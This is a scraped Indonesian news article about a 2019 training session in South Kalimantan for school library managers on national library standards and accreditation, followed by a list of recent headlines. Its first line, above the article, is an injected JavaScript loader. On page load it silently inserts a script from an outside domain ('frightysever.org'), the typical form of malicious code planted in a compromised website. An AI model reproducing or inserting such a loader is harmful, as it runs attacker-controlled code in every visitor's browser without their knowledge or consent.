(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pendidikan

Meningkatkan Kompetensi Pengelola Perpustakaan Sekolah


BANJARMASIN, Kompetensi para pengelola perpustakaan berpengaruh terhadap kualitas perpustakaan itu sendiri. Menjaga kualitas pengelola perpustakaan di tingkat sekolah, Dispersip Kalsel menggelar kegiatan Bimbingan Teknis Pendataan Pengelola Perpustakaan Sekolah SMP/SMA sederajat se Kalsel, Kamis (21/2/2019).

Ada lebih dari 100 pengelola perpustakaan dari SMA/SMK sederajat se-Kalsel yang ikut serta di kegiatan ini.

Nurcahyo dari Perpusnas RI yang didapuk sebagai narasumber mengatakan,  perpustakaan adalah institusi pengelola koleksi karya tulis, karya cetak, dan atau karya rekam secara profesional dengan sistem yang baku. Guna perpustakaan itu untuk memenuhi kebutuhan pendidikan, penelitian, pelestarian, informasi, dan rekreasi para pemustaka.

Ada syarat atau standar untuk memenuhi Standar Nasional Perpustakaan (SNP) sebuah perpustakaan, setidaknya ada komponen akreditasi yang dimiliki perpustakaan sekolah. Diantaranya, Nurcahyo menyebut aspek layanan yang dievaluasi, meliputi jenis pelayanan mulai dari jam buka (jam buka perpustakaan perminggu). Sarana akses/penelusuran (sistem peminjaman, penelusuran informasi, sistem otomasi).

“Keanggotaan, persentase jumlah siswa, persentase jumlah pendidikan dan tenaga kependidikan,” sebutnya. Begitu pula, jumlah pengunjung dan buku yang dipinjam, jumlah rata-rata pengunjung, jumlah rata-rata buku dipinjam, semuanya tercatat dan terpenuhi dengan baik.

Kepala Dinas Perpustakaan dan Kearsipan (Dispersip) Kalsel dra Hj Nurliani Dardie mengatakan, kompetensi para pengelola perpustakaan harus bisa mengikuti perkembangan zaman.

“Pengelola perpustakaan harus memiliki kecakapan  di era saat ini. Harus lebih profesional, apalagi di sekolah,” katanya. Karena, kompetensi pustakawan harus terus dijaga untuk bisa menjaga kualitas dan profesionalisme pustakawan dalam mengelola perpustakaan sekolah.

Tujuan akhirnya, kata Nunung, sebagai upaya mencerdaskan kehidupan bangsa dan meningkatkan kualitas sumber daya manusia, yang dibangun lewat perpustakaan sekolah. (bie)

Reporter : Bie
Editor : Kk

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.